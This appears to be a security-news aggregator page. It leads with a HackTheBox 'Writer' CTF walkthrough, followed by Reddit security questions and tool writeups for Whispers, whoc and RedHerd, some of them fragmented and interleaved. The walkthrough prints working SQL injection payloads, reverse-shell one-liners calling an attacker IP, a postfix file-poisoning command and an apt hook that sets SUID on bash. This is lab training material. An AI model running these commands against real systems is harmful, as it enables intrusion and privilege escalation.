Hacking Articles
Writer HackTheBox Walkthrough

IntroductionWriter is a CTF Linux box with difficulty rated as “medium” on the HackTheBox platform. The machine covers SQL injection vulnerability and privilege escalation using SMTP. Table of ContentNetwork Scanning

* Nmap

Enumeration

* Directory enumeration to find admin page
* Detecting SQL injection on the login page

Exploitation

* Exploiting UNION based SQLi to get essential information about python based webserver
* Fetching internal files using SQL injection to compromise credentials of a user

Privilege Escalation

* Escalating from www-data to Kyle by cracking hashes in the database
* Escalating from Kyle to John by poisoning postfix/disclaimer file
* Escalating from John to root by exploiting apt-get

Let’s deep dive into this. Network ScanningThe dedicated IP address of the machine is 10.10.91.172. We’ll run a nmap scan on this machine’s IP.
nmap -A 10.129.170.230
Open ports were:

* 22 running SSH
* 80 running a website
* 139 running netbios
* 445 running SMB service

https://blogger.googleusercontent.com/img/a/AVvXsEjwcPoODKo9X2F3lKbKJuyLKwiwtikY4u_AOkFxlNgyPp95g_ZnLom-7FRyDso-xyWgFL29SY1ENS5OAEbQuqrnapq6PEkmnfu2aehE0WHRZq_6L8CIimNGTTKgVdVqD1f2PtSye4QXdZmxCeGzVUq36bN2GgJGRJcHpLhAdo04e0gXDl5HyVYcpKHGKw=s16000 EnumerationThere was a website running on port 80

https://blogger.googleusercontent.com/img/a/AVvXsEhZW6-lh4_yJUs_tqUejXFgkX44sA96_Uia1ueeKf1vW4XGeeCOCrD1Gn-TqgUBVM-DmHbyBuyfJeX_ON_0VM6Wn-W2TnAWMXBRb6XAW0Z-mIAy4dtbXmzU575p30IdzlU8cP4Tx_blsgnTQeN-BQRdoZBJBcN4poXJnA_ie26pFbNELBQmR9olr7RbUw=s16000

So, we enumerated the directories using gobuster and seclists medium wordlist
gobuster dir -w /home/kali/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
We found an interesting directory called administrative

https://blogger.googleusercontent.com/img/a/AVvXsEjuMNqJfpVBFC2x3uC3jlN0s_cftWRjMImp5dqCkmgg5FzjtY_PwLpRHbPPLv6VHX0yXLWy0aMPS-DorNcyqwIOts-WHlUerGLpM88eP-YCEwmzxg1zYM1OlX_ftx7UoCUmBdnTB1u7_vdDyp46fK_qLHLgm8bsPjsTr5k5ZjCCEbpY-EW2OsPOLreTbQ=s16000

This page seemed to be hosting a login panel

https://blogger.googleusercontent.com/img/a/AVvXsEjkD1q4uVHCCSuQvDFSnTPMPVwvDJnU3ELoCR8RCtOApnKUydCTMImcJOXuzJiX4lq7jqfeL0lyvqp1Pb8u0TGu1B6rL3KnBQfJqYADOvtzTdwypgSO34kpBo93nAaKfORYj444OHMT3CaZF5EyYIO3VbqNmXW_sasSMhu9vkvJqi0nodMrsXly595H4g=s16000 ExploitationRight away we tried logging in using SQL injection payload

username: ‘ or 1=1 —
password: ‘ or 1=1 —

And we got logged in!

https://blogger.googleusercontent.com/img/a/AVvXsEjH_DRrcI3ZpXKdUL0krUYdW72Eq82I5aCvu2x3HdXdhz6IvbwxOB0uaKLqtfuRYO9F-XNjuR7x6njl0FjWwy5C2FZVHdH2YzP8kaFCepQmHXBj9LdaBrNdhCAhAizNHpVQhT2VEnVVANuzG39Yh-ZUfhSX-SyJJIiAL8YlWtvQZKLHOviEMegj3D6woA=s16000

However, upon observing the request in Burpsuite repeater and using a UNION based SQLi payload, we observed that the second column in the active table was being reflected in the response
uname=admin' union select 1,2,3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiAV7NQ9lBpTfOjvTZwgfWlcw1U4LJUdSee7wLhPDWAoMvE3XZ4fpPyOP4ZbZi7rzZXb4ZuBlFfpnoIOzxPLQWKWr2ZB0BkxrNj5O9APETz0w7V0NfTTNAQx9oFGl6ue0AIo1zWdx584pD42nuOgUEvTJcBnhuMAoR_WE3y9NPl0d_IQoiLyZTtStyqrw=s16000

We can see the active database’s name by changing the second column by the database() in the payload. As you can see, the active database is “writer”
uname=admin' union select 1,database(),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiU6cl5ly1H1bBaaP0HoyGFu3GFqoz3DtI72GHi9P8iDp1ag0G6-1igZNyJp99vKdZlY-wEtFsGS1fOxUXS3hpczUy-ZPBqnkChDtoc58mtclrv-krXIKEna-s0gDTlgPFxEgegXEOGylHRg3RigB3FdpWvzexgfdFmU950wVQ4nApaYbl1y1kKaP5tTA=s16000

Similarly, we can read the /etc/passwd file and try to learn what all users exist.
uname=admin' union select[...]

___________________________
@hacking_Attack
@Hacking_Video

1,load_file("/etc/passwd"),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiAyDpDEVcaXev2FIWhSSxrb6ZULX5txypAqQ2rhCQWnI3RZPxxIU8eN65TnY8NMHUqNnPsx6aHox-VOqYd23zwePKVP35jqjIWY05GlDp5rY8IF1730Fj97XordtHyJxqY1tbllL7V4aEAryqkfSTQbNEP-fI4BrPXMoDcHperohGCl04tRTezsZK2ow=s16000

This gave us an insight into the system. It of course was running Apache webserver so we looked at 000-default.conf file that includes the absolute path of the website. Here, we found a wsgi present which means that a python based webserver (Django or Flask) was running on the webserver.
uname=admin' union select 1,load_file("/etc/apache2/sites-enabled/000-default.conf"),3,4,5,6 -- &password=admin
https://blogger.googleusercontent.com/img/a/AVvXsEiuo-EYZ_zsieHUM9FNmErANzTfDO4Qkx1hxkpP6i31SiWh3zpLNQdlFhqBhjEP_L9CQsQPc3Ufyc7dJN6714DJFlO09eD8gOvIW0Gmch4LqSIE-y3KMVQTPbE1TqkTb2Uwqc6AuMbTDI_pst0ROubLfvWfOyWtKpmEGzQsihvzgwP2LjqyA6o-oSW9bw=s16000

Then we tried to read this wsgi file as it includes functions that are used by the server to communicate with the application. So we read this file and found __init__.py was being imported.

https://blogger.googleusercontent.com/img/a/AVvXsEg2T7W2aOvMmvEgxUj5SFG5R7gazEJaXNZVQq-83Grx5f9RgEaHZtIEVa3qGZys8jEF3I5y-kgKhHGhm-d-3Q_OxEpaJonXPF5-VMTDOoUQlIvHSQBfwnItpl425_mOtayq84ho9p3xQj76TWZBLhzi1g3QbZ5m4QD2PquAha1miY9kbYTZpQkfaSODjw=s16000

So, we decided to read __init__.py file and found a credential!

https://blogger.googleusercontent.com/img/a/AVvXsEjgJlUziMEmq7cbz4yY0N_gfilc0Q6hHyiSFwhwRyAStVyfU7E1U3tx8TW3_wZcv-ljVKy_6590H_qa-IqJtCyHU7XoTMqKkE5oc9oPbufqZHdMW0vqLRbq0J3Z_3KDAPCRbO6PsFqbWqmpqtnnSDc2-D2fTmfvWndBIgdCPs1OVatGgAoAjipRFeuRgA=s16000

From the knowledge of /etc/passwd that we dumped earlier, we know there exists a finite number of users on the system. Out of those, Kyle seemed to react to this password when we connected to the SMB share. When we logged on to the share we saw the Python server’s files on there. One such file on Django or Flask is the “views.py” file. Views hold the logic that is required to return information as a response in whatever form to the user. This logic is held in the file “views.py”
smbmap -H 10.129.170.230 -u "kyle" -p "ToughPasswordToCrack"
smbclient //10.129.170.230/writer2_project -U 'kyle%ToughPasswordToCrack'
cd writer_web
get views.py
https://blogger.googleusercontent.com/img/a/AVvXsEiLNZ2KoP621-LYKBscYWircW9uAs3gq2AYY1V5S0JH5_MML_aSrWe1zCNpDIQp8hESp4ajefacrvaophZTEiA0yHjiixufGmG1xmPFAZvYJGzIoSwYumFtyDxqLI8p7WnxxOgrzoo-O2NR7gB8NA6My2pC7eGO4XqVNwmmXFNwrSGP13-etvUHGB1N5w=s16000

Logically, whatever is in views.py should be rendered by the website. Hence, if we add a simply python one-liner, it would be rendered by the website too. That’s precisely what we did. We added the following code in views.py
import os
os.system('bash -c "bash -i >& /dev/tcp/10.10.14.104/1234 0>&1"')
https://blogger.googleusercontent.com/img/a/AVvXsEiqoTz-nxKnLTm5okqOMeVDFMKwZ49jbbsbdpwQEVTIkvbP37pZKVwIwtjHlkMmrMiK8038JsLGqbVGYja70DHhauAkU_FgWuXgmXGgJeN6qWiKzxyzNvUsagxqFDxg6dTfuysZhn1gxW4n3p62aGS1GbhYnIm_b3inoaKJLYQcz7vvRZnM6D0PKakt6w=s16000

Thereafter, we replaced this views.py with the original one using put command in the SMB share

https://blogger.googleusercontent.com/img/a/AVvXsEh0_VLcenClOlfAu8uLake4mMOZKnmVfsfHKIW8B8pKevzk0p2mfIU8a1fpePhIHY6AC7t35FcCNHK-FzdbWKdTtgHH-UrsNZm-CuXtyTuYh1B_Zz7PftRazpcdPRtGMhiimJCdG_ErO6bhj6nqnU-m8ouRmbSjQORLU9JJewLCGWinZ1oiZ5hhHDLstQ=s16000

We set up a listener side by side and gave the website a refresh. We had received a reverse shell! Post ExploitationThe manage.py file in Django is used to communicate with a website’s files and perform functions such as run a server and migrating changes. However, dbshell command is used to communicate with the website’s database. So after a bit of exploring we found a hashed credential in the auth_user table.
python3 manage.py dbshell
show tables;
[...]

___________________________
@hacking_Attack
@Hacking_Video

select * from auth_user;
https://blogger.googleusercontent.com/img/a/AVvXsEiso-v7dWgQtmqMM7EEckAJZqHkukPP2Z2qVmPRgC3yRi95P_SR6sDg4dJmFRHxDnfJSi4QGz2uMtUSvamo3o1yHKXvs1e_ZtyNNMCb1BB266wzZZMf4nad79RM-KWEYN4H3xxcQmPlgas80XSeUVrFXcMWd73eUq_JNZVeiP1pGa2ov2kPhQ9WFud_NQ=s16000

We took this cred and ran it with hashcat using rockyou.txt wordlist
hashcat -m 10000 hash rockyou.txt
https://blogger.googleusercontent.com/img/a/AVvXsEhiLXTQSXcgl0zpDJhjlqU8v1-d8_jU_eTPnptq71mfht79bTrETtEHGxelXQjLAuIGVIVcJHrMqi9R1cTOgSap8jruwEZtjdCyPZX02tVcHqm2QER89t01XaVegKyeGXfc1uJL3HOABr0jSAbYXPdLJainKNRcZ4LbsbOidmceBZb6cN90LEq9WuPM-A=s16000

The password came out to be: marcoantonio

https://blogger.googleusercontent.com/img/a/AVvXsEh77-2_K1eN7xonssoj6IgIIRmeOEkbOgFe-q2ta5JuZradaXYGC6Ih2n2ew5qpEr8hAZQILtMyHrT-xC2YLHUy9gMG42zddPDM6zK8MOs9klp6jA0xvT6U80d4ha-uSNB8nNIyPs9BistgHdDB45IOlsfBIF2zgYmuG0F3ZbGMgD_JIhOGc2JJvS-9vA=s16000

I SSHed into Kyle using this password and also observed that Kyle is a part of filter group.

https://blogger.googleusercontent.com/img/a/AVvXsEiGPC_s6uue_zuHBgATgAjsZKbSMOK3L0B7dpTYSPLm_XJBp6Km4unxKaSMbMOGDTByFeh2xSqH3o7QfMFCfGArAA7uHuOFChz7rnzVms0ydk3sR19qBT5-gfV7Xd051psab1nH3ZyLpz7-KhjDFnRg_4SCv78_35P7X5OpZHOBbOFieJb7F3P16amRtg=s16000

Now, we listed all the files that belonged to this filter group and noted /etc/postfix/disclaimer file which is intended to automatically add a disclaimer at the end of an e-mail.
find / -group filter 2>/dev/null
https://blogger.googleusercontent.com/img/a/AVvXsEgoG6xZqedvffARJwAj_Wc45pGGiWDFRQj0sZmlfH5UdvulIGuEUKkY0vG6Ig8kks5axeVMG129m4Py8kCU9vPu6lmFFi7d5X-jd02T0SJ-6ly6IEfcDBKkl9kZF0tvFPfP-wB6iIReWehXE-svkgtQ-Wkpmcj4XHfITMNHlCSL_t2xRwN9-75hwHjTFg=s16000

Now, since this disclaimer would be automatically added to every e-mail, we can overwrite this file with our reverse bash code and send a simple testing e-mail to john using netcat. The following payload does the said thing.
echo "bash -c 'bash -i &>/dev/tcp/10.10.14.104/5555 0>&1'" > /etc/postfix/disclaimer && echo -e "HELO writer.htb\nMail From:kyle@writer.htb\nRCPT To: john@writer.htb\nData\nTo: john@writer.htb\nFrom: kyle@writer.htb\nSubject: Testing\nTesting\n." | nc localhost 25
https://blogger.googleusercontent.com/img/a/AVvXsEjMMaZjzX0qbhvhAsS9CNYlaW5zpKoKeM2ULUHTICgGDyu0CsrxLWl0ilmwZ0hcsAJz-8ZM3-PVmsFVOLpCN7-tyiWPq8YPDVrybxArz00A13U6ogUCzKonKMqhg2DGk3-CqVREDwPzcXZimxlm8rNN0aJFOngkTkqyv_TwRRVLarodGB-mCpQ-EKvllQ=s16000

And on our listener set up on port 5555, we see user john’s shell! We just wanted to get a more stable shell so we copied the private SSH key.

https://blogger.googleusercontent.com/img/a/AVvXsEilYM5UYtNGV60X0YafkpYlpml5Nc3gv10zws5-8oppAReyokTKqf_uzc6EL2zfijDTmxROQGzpXd0LFugPZ71XRX9tH6-_fIuZ0B75TP3yjjXe6pQjqd_t6U7pnL7gVoEjnsL228K2oUceILaFzj326SKrvCS1yEMSPRGaZeN5BRHmhb4Zuls9O3Blng=s16000

Changed the permissions to 0600 and SSHed into the john. We observed that john was part of a group called management. We look at what other files are a part of this group. We saw a directory apt.conf.d which is a part of management. What’s more, is that this is owned by root and belongs to the apt-get package manager!
chmod 600 key
ssh -i key john@10.129.170.230
id
find / -group management 2>/dev/null
ls -la /etc/apt
https://blogger.googleusercontent.com/img/a/AVvXsEg7xEH-y6JRgr8ayapkhzDP4etXTljKn2z5md3MCWn2mbFQQ6Me79UJVYkt1oTxGarVEwiTfzys3FyszgvhYWGjKPdi3xM-2eC_KJNQY_kVM62LmCDwhRzB_fyq-fqjfo4ltbQPIi_FO3buOPHzNrtgpM4Anj8E_3RMl39r1SAL1oy6JLz8RoCUtBHitQ=s16000

Upon inspecting a bit more, we found that apt-get was running as a cron job. Hence, we will follow our article here and use apt-get to escalate ourselves to root. The payload that we are using inside Pre-Invoke is this: /bin/bash -c chmod 4777 /bin/bash

However, we have encoded it in base64 as it wasn’t working in cleartext.
echo 'apt::Update::Pre-Invoke {"echo L2Jpbi9iYXNoIC1jICJjaG1vZCA0Nzc3IC9iaW4vYmFzaCIK | base64 -d | ba[...]

___________________________
@hacking_Attack
@Hacking_Video

sh"};' > /etc/apt/apt.conf.d/000-shell
ls -la /bin/bash
You can see that bash has a SUID bit set now! We’ll just launch it using -p option now and read the congratulatory flag as we are now root!
/bin/bash -p
https://blogger.googleusercontent.com/img/a/AVvXsEj9tRr8q_bS_gk5HFIcKJtJgDHAN16ZGzONAwQyr7RFr95dtZ4iqNzDwNLqgZT7lhMmzhuGqxIlTfbBAXE9aCgufdOAVAsU25_k0PpxbS2VKtghMpIsy1b-9C6Iwc9p6eulPCQ1EequVPDIjZ2cfAYhlugYtGXi96chWsTVu4PH8nMhKUPPmTKVGq1X5w=s16000

Hence, this is how we rooted the box writer. Hope you enjoyed our approach. Thanks for reading!

Author: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here

The post Writer HackTheBox Walkthrough appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
I'm aware of a SQLi vulnerability and I know that the database stores passwords and credit cards in plain text. What do I do? Need opinions here

I won't go into too many details for obvious reasons, but I'm aware of a system that allows business to take orders and payments online. The vendor/developer of that system I tried to make aware of the vulnerability. I had a phone call with them, I assured them I didn't want a penny from them, just wanted to help and would happily talk them through how to fix it free of charge etc. etc.

Strangely, his response are "where are you from?", I told him where I lived and he said "ahh, that makes sense then" and hung up. Pretty odd ending, but I'm taking from that they're not interested.

I'd leave it there, BUT - one of the businesses using this software is a lovely little family-ran business, local to my area - and (although I wouldn't attempt to check because of the Computer Misuse Act), I would bet my money on this local business collecting many, many local people's details, all in plain text.

I feel like in normal circumstances I would leave this, but I feel like I want to help this local family business. I have no interest whatsoever in the commercials of the people behind the system if they won't listen to me.

The problem is the local business don't know their way around technology, so I might look weird approaching them with "there's a vulnerabilty in one of the systems your use, you should talk to the admin".

TLDR Question: What do you do when you know a vulnerability that could crush a small business but the people behind the vulnerable software aren't interested?

submitted by /u/DimensionRoyal4229
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
tools for decrypting

hello I'm searching for a free tool that can decrypt many different files with support for kali linux. So do you have any recommendations

submitted by /u/brendanvds2007
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Someone keeps trying to log into my accounts

I keep getting notifications that someone is trying to log into my account and that I need to change my password on twitter and now someone has tried logging into my Etsy account as well. It’s from different locations too. Has my info been leaked or something? What can I do?

submitted by /u/Nar8
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Preparing For the Next Cybersecurity Epidemic: Deepfakes

Using blockchain, multifactor authentication, or signatures can help boost authentication security and reduce fraud.

Live Bug Bounty Training With My Strategy and Let’s hit easily Bounties Together in this year

Hello Cybersecurity Researchers, Again I’m here after a lot of texts received on my LinkedIn and Instagram that when I launch my Live Bug…Continue reading on Medium »
Read more...

Live Bug Bounty Training With My Strategy and Let’s hit easily Bounties Together in this year
https://medium.com/@gandhim373/live-bug-bounty-training-with-my-strategy-and-lets-hit-easily-bounties-together-in-this-year-9a438a6356d1?source=rss------bug_bounty-5

Hello Cybersecurity Researchers, Again I’m here after a lot of texts received on my LinkedIn and Instagram that when I launch my Live Bug…Continue reading on Medium » (https://medium.com/@gandhim373/live-bug-bounty-training-with-my-strategy-and-lets-hit-easily-bounties-together-in-this-year-9a438a6356d1?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Whispers : Identify Hardcoded Secrets In Static Structured Text

Whispers is a static code analysis tool designed for parsing various common data formats in search of hardcoded credentials and dangerous functions. Whispers can run in the CLI or you can integrate it in your CI/CD pipeline. Detects

* Passwords
* API tokens
* AWS keys
* Private keys
* Hashed credentials
* Authentication tokens
* Dangerous functions
* Sensitive files Supported Formats

Whispers is intended to be a structured text parser, not a code parser.

The following commonly used formats are currently supported:

* YAML
* JSON
* XML
* .npmrc
* .pypirc
* .htpasswd
* .properties
* pip.conf
* conf / ini
* Dockerfile
* Dockercfg
* Shell scripts
* Python3

Python3 files are parsed as ASTs because of native language support. Declaration & Assignment Formats

The following language files are parsed as text, and checked for common variable declaration and assignment patterns:

* JavaScript
* Java
* Go
* PHP Special Formats

* AWS credentials files
* JDBC connection strings
* Jenkins config files
* SpringFramework Beans config files
* Java Properties files
* Dockercfg private registry auth files
* Github tokens Installation From PyPI

pip3 install whispers

From GitHub

git clone https://github.com/Skyscanner/whispers
cd whispers
make install

Usage CLI

whispers –help
whispers –info
whispers source/code/fileOrDir
whispers –config config.yml source/code/fileOrDir
whispers –output /tmp/secrets.yml source/code/fileOrDir
whispers –rules aws-id,aws-secret source/code/fileOrDir
whispers –severity BLOCKER,CRITICAL source/code/fileOrDir
whispers –exitcode 7 source/code/fileOrDir

Python

from whispers.cli import parse_args
from whispers.core import run
src = “tests/fixtures”
configfile = “whispers/config.yml”
args = parse_args([“-c”, configfile, src])
for secret in run(args):
print(secret)

Config

There are several configuration options available in Whispers. It’s possible to include/exclude results based on file path, key, or value. File path specifications are interpreted as globs. Keys and values accept regular expressions and several other parameters. There is a default configuration file built-in that will be used if you don’t provide a custom one. config.ymlshould have the following structure:

include:
files:
– “/.yml” exclude: files: – “/test//” – “/tests/*/“
keys:
– ^foo
values:
– bar$
rules:
starks:
message: Whispers from the North
severity: CRITICAL
value:
regex: (Aria|Ned) Stark
ignorecase: True

The fastest way to tweak detection (ie: remove false positives and unwanted results) is to copy the default config.yml into a new file, adapt it, and pass it as an argument to Whispers. whispers --config config.yml --rules starks src/file/or/dirCustom Rules

Rules specify the actual things that should be pulled out from key-value pairs. There are several common ones that come built-in, such as AWS keys and passwords, but the tool is made to be easily expandable with new rules.

* Custom rules can be defined in the main config file under rules:* Custom rules can be added to whispers/rules

rule-id: # unique rule name
description: Values formatted like AWS Session Token
message: AWS Session Token # report will show this message
severity: BLOCKER # one of BLOCKER, CRITICAL, MAJOR, MINOR, INFO
key: # specify key format
regex: (aws.?session.?token)?
ignorecase: True # case-insensitive matching
value: # specify value format
regex: ^(?=.[a-z])(?=.[A-Z])[A-Za-z0-9+\/]{270,450}$
ignorecase: False # case-sensitive matching
minlen: 270 # value is at least this long
isBase64: True # value is base64-encoded
isAscii: False # value is binary data when decoded
isUri: False # value is not formatted like a URI
similar: 0.35 # maximum allowe[...]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Whoc : A Container Image That Extracts The Underlying Container Runtime

Whoc is a container image that extracts the underlying container runtime and sends it to a remote server. Poke at the underlying container runtime of your favorite CSP container platform!

* WhoC at Defcon 29 Cloud Village
* Azurescape – whoc-powered research, the first cross-account container takeover in the public cloud (70,000$ bounty) How does it work?

As shown by runc CVE-2019-5736, traditional Linux container runtimes expose themselves to the containers they’re running through /proc/self/exe. whocuses this link to read the container runtime executing it. Dynamic Mode

This is whocdefault mode that works against dynamically linked container runtimes.

* The whocimage entrypoint is set to /proc/self/exe, and the image’s dynamic linker (ld.so) is replaced with upload_runtime.
* Once the image is run, the container runtime re-executes itself inside the container.
* Given the runtime is dynamically linked, the kernel loads our fake dynamic linker (upload_runtime) to the runtime process and passes execution to it.
* upload_runtimereads the runtime binary through /proc/self/exeand sends it to the configured remote server.
https://blogger.googleusercontent.com/img/a/AVvXsEjocHBrqL-1DeWdgr84G9KTBwDuhOUH7iRkxmcMXWsXQnjtpQlcRlxf25x_Xv96NyR2T3Bd9jzEQBjtNFLfqZKx1FwIjPPzTasqAwRcH0_J60IuHDX9nGeMR_v9yUdB7BghvzW5znr5b3PjSrDk-KZ9DEuFMWend1XtmXY4oyh11Mfgtoc-YgLbHCYN=s571
Wait-For-Exec Mode

For statically linked container runtimes, whoccomes in another flavor: whoc:waitforexec.

* upload_runtimeis the image entrypoint, and runs as the whoccontainer PID 1.
* The user is expected to exec into the whoccontainer and invoke a file pointing to /proc/self/exe(e.g. docker exec whoc_ctr /proc/self/exe).
* Once the exec occurs, the container runtime re-executes itself inside the container.
* upload_runtimereads the runtime binary through /proc/$runtime-pid/exeand sends it to the configured remote server.
https://blogger.googleusercontent.com/img/a/AVvXsEjYUPEISvlrTOOIHWJ2ekop9nHLKToBwpf54UfVgSVe-QYm7Fj6wmq1Ms7EqHTr0Ii86_41fgPuwX59E2lcVgVUXUVo2PbVwAPFS4oy-mts1mfmuUURo3c8VgHmgmW2ijLhyoVkkwH0Z3AEREI_zx5YKSeTWNUytVlP7xmSLU7pie5C8gNV3pxFZr92=s571
Try Locally

You’ll need dockerand python3installed. Clone the repository:

$ git clone git@github.com:twistlock/whoc.git

Set up a file server to receive the extracted container runtime:

$ cd whoc
$ mkdir -p stash && cd stash
$ ln -s ../util/fileserver.py fileserver
$ ./fileserver

From another shell, run the whocimage in your container environment of choice, for example Docker:

$ cd whoc
$ docker build -f Dockerfile_dynamic -t whoc:latest src # or ./util/build.sh
$ docker run –rm -it –net=host whoc:latest 127.0.0.1 # or ./util/run_local.sh

See that the file server received the container runtime. If you run whocunder vanilla Docker, the received container runtime should be runc. --net=hostis only used in local tests so that the whoccontainer could easily reach the fileserver on the host via 127.0.0.1. Other Platforms

By default whocis built for linux/amd64, but it also supports other CPU architectures. Wait-for-exec mode can be built as usual. To build whocin dynamic mode for other CPU architectures, you must populate the PLATFORM_LD_PATH_ARGbuild argument with the path of the dynamic linker on the target architecture.

An example build script for arm64is available at util/build_arm64.sh[...]

___________________________
@hacking_Attack
@Hacking_Video

d similarity between key and value
# (1.0 being exactly the same)

Plugins

All parsing functionality is implemented via plugins. Each plugin implements a class with the pairs()method that runs through files and returns the key-value pairs to be checked with rules.

class PluginName:
def pairs(self, file):
yield “key”, “value” Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Redherd Framework : A Collaborative And Serverless Framework For Orchestrating A Geographically Distributed Group Of Assets

Redherd Framework is a collaborative and serverless framework for orchestrating a geographically distributed group of assets capable of conducting simulating complex offensive cyberspace operations.

The framework takes advantage of the “as a Service” paradigm in order to deploy a ready-to-use infrastructure that can also be adopted for effective training purposes, by reliably reproducing a real-world cyberspace scenario in which red and blue teams can challenge each other. RedHerd perfectly fits the Open Systems Architecture design pattern, thanks to the adoption of both open standards and wide-spread open source software components.

Terminology
NameDescriptionassetThe multi-platform devices (Windows, Debian-like, RHEL-like, MacOSand Android) that can be orchestrated.clientThe device used by an operator to interact with RedHerd components.moduleThe code implementation of a task that can be executed by asset.processThe dynamic instance of a module.taskThe abstract representation of an operator intent.topicA group of modules that shares a common intent (e.g. port scanning, Wi-Fi, …).
Architecture

RedHerd uses some specialized Docker containers in order to integrate many community acclaimed open-source products with a custom application layer, implemented for interoperability purposes. These containers have been designed to compartmentalise features and to allow horizontal scaling if needed. The described architecture offers a high level of automation by allowing minimized user interaction during the asset setup process and is bounded by a Virtual Private Network (VPN) granting Operations Security (OPSEC) by design.
https://blogger.googleusercontent.com/img/a/AVvXsEhb9I4mQiyueBtDpFNJVYSTbOzmxhx2cbJWZSdPyE52SOP2_J4p5g85qikurA-XWlgblzyiPsxHX2CgowGjsYKO8V6kWG63-ZfwouUXTEzsfg6yNc0-ImCrGGYKVl02PAEcDzn44q14ggFyr06C2RsFzoYJueq2q76W_yzyiJqeiTMFR50aMBQoAmF4=s1240
The main elements of the RedHerd framework are listed hereafter:

* Assets: multi-platform devices (Windows, Debian-like, RHEL-like, MacOSand Android) that can be orchestrated to perform cyber operations;
* Herd-Server: the Node.js core of the framework which is responsible for interacting with the assets. It receives and multiplexes all the inputs from the operators thanks to an extended set of Application Programming Interfaces (API) and dispatches the output received from the assets via a Socket.IO channel;
* File-Server: an FTPS-based server, which allows secure file transfer among operators and assets;
* OVPN-Server: the OpenVPN gateway for all entities interacting with the framework;
* Distribution-Server: the only component publicly accessible outside the VPN edge, which represents an Nginx web server that distributes, after authentication, all the configuration files needed by an entity attempting to join the framework;
* Herd-View: a Progressive Web Application (PWA) written in Angular that provides a user-friendly interface to monitor and task all the assets in real-time;
* Client: the device used by an operator to interct with the framework components.

Last but not least, Herd-CLI represents the administrative application for managing the entire framework.

Features
https://redherd.readthedocs.io/en/latest/design/features/redherd-net.png
RedHerd has several overwhelming features that characterize it with strong orchestration capabilities:

* Intuitive Interface: it provides, through Herd-View, an intuitive web application to easily interact with the assets;
* Multi-Platform: it is[...]

___________________________
@hacking_Attack
@Hacking_Video

. Help

Help for whoc‘s main binary, upload_runtime:

Usage: upload_runtime [options]

Options:
-p, –port Port of remote server, defaults to 8080
-e, –exec Wait-for-exec mode for static container runtimes, waits until an exec to the container occurred
-b, –exec-bin In exec mode, overrides the default binary created for the exec, default is /bin/enter
-a, –exec-extra-argument In exec mode, pass an additional argument to the runtime so it won’t exit quickly
-r, –exec-readdir-proc In exec mode, instead of guessing the runtime pid (which gives whoc one shot of catching the runtime),
find the runtime by searching for new processes under ‘/proc’ Download

___________________________
@hacking_Attack
@Hacking_Video

able to orchestrate a wide range of devices, offering joining and tasking procedures for different operating systems (Windows, Debian-like, RHEL-like, MacOSand Android);
* Multi-User: it supports multi-user collaboration. The teamwork has become crucial for effective operations. In relation to this, joining RedHerd many users can task the same asset or operate independently;
* Agentless: it overcomes the requirement of a local agent waiting for a task to accomplish. Specifically, during the task warmup Herd-Server receives a job for an asset and initiates an SSH connection with it. Subsequently, it specializes and executes the set of commands needed to reach the expected result, allowing a lightweight computational effort asset-side;
* Easily Deployable: it is cross platform and can be deployed both on premise and in a Cloud-based environment. In order to grant this feature, a bash script has been proposed to automate the framework deployment process on a Debian-based distro. Taking into account the design choice to use docker-enabled containerization, an equivalent script could be easily developed allowing RedHerd to be hosted on a different operating system;
* Easily Expandable: it provides developer ready JavaScript specifications, offering an easy way to expand the product features by writing custom modules and accomplishing an uncountable number of tasks;
* Module Hot-Update: modules can be added, removed and updated on the fly. It is not needed a framework reboot or a new deployment;
* API Driven: it is driven by an extensive set of REST API which enables third party application to easily interact with and make use of the framework features.

Setup :: Intro

The entire solution is cross platform and can be deployed both on premise and in a Cloud-based environment. The released implementation focuses on a Debianhost machine tested both locally and remotely.

System requirements

Following are some recommended and tested specifications for the host machine:

* Ubuntu >= 18.04
* 8+ GB RAM
* 50+ GB HDD
* 2+ CPUs

Obtain

The first step involves to obtain the latest release of the framework cloning it from the official GitHub repository:

$ git clone https://github.com/redherd-project/redherd-framework.git

Deploy

The second step includes the deploy of RedHerd on the host machine. It could be performed running the specifically developed deploy.shbash script which implements a manually triggered but fully automated procedure on a Debian-based device.

Select the public interface

Select the external IP address which all assets/clients will connect to:

$ ip a 1: lo: -db), generate the Certification Authority (CA) (-ca), the SSH keys (-k), the Distribution-Servercredentials (-u) and the OpenVPN configurations for 10 (-a 10) endpoints ([...]

___________________________
@hacking_Attack
@Hacking_Video

assets/clients). You can join to the framework up to 256endpoints.

$ cd redherd-framework
$ sudo ./deploy.sh -s 172.23.163.163 -db -ca -k -u -a 10

* #
** (#
** ((#
* #((# ( ( (((((( #((((
((((((((((((((((((((#
((((((((((((((((((
** (((((((((((
(((((((# ( ((( _ _ _ _ _
* ((( |/ | | \ || | |/ | \ **** (( | _ | |/ | | | | _ |/
*** ((#
*** (((
[*] DETECTED PARAMETERS:
[!] INIT DB: TRUE
[!] GENERATE CA: TRUE
[!] GENERATE CERTS: TRUE
[!] GENERATE KEYS: TRUE
[!] GENERATE USERS: TRUE
[!] PUBLIC HOSTNAME: 172.23.163.163
[!] ASSETS COUNT: 10
[!] VPN NET CIDR: 10.11.0.0/16
[!] DOCKER OVPNSRV NAME: ovpnsrv
[!] DOCKER OVPNSRV ADDRESS: 10.10.0.2
[!] DOCKER HERDSRV NAME: herdsrv
[!] DOCKER HERDSRV ADDRESS: 10.10.0.3
[!] DOCKER HERDVIEW NAME: herdview
[!] DOCKER HERDVIEW ADDRESS: 10.10.0.5
[!] DOCKER FTPSRV NAME: ftpsrv
[!] DOCKER FTPSRV ADDRESS: 10.10.0.4
[!] DOCKER DSTRSRV NAME: dstrsrv
Continue? [y/N]: y

Check framework status

Once the deploy procedure has completed, check all dockers are up and running:

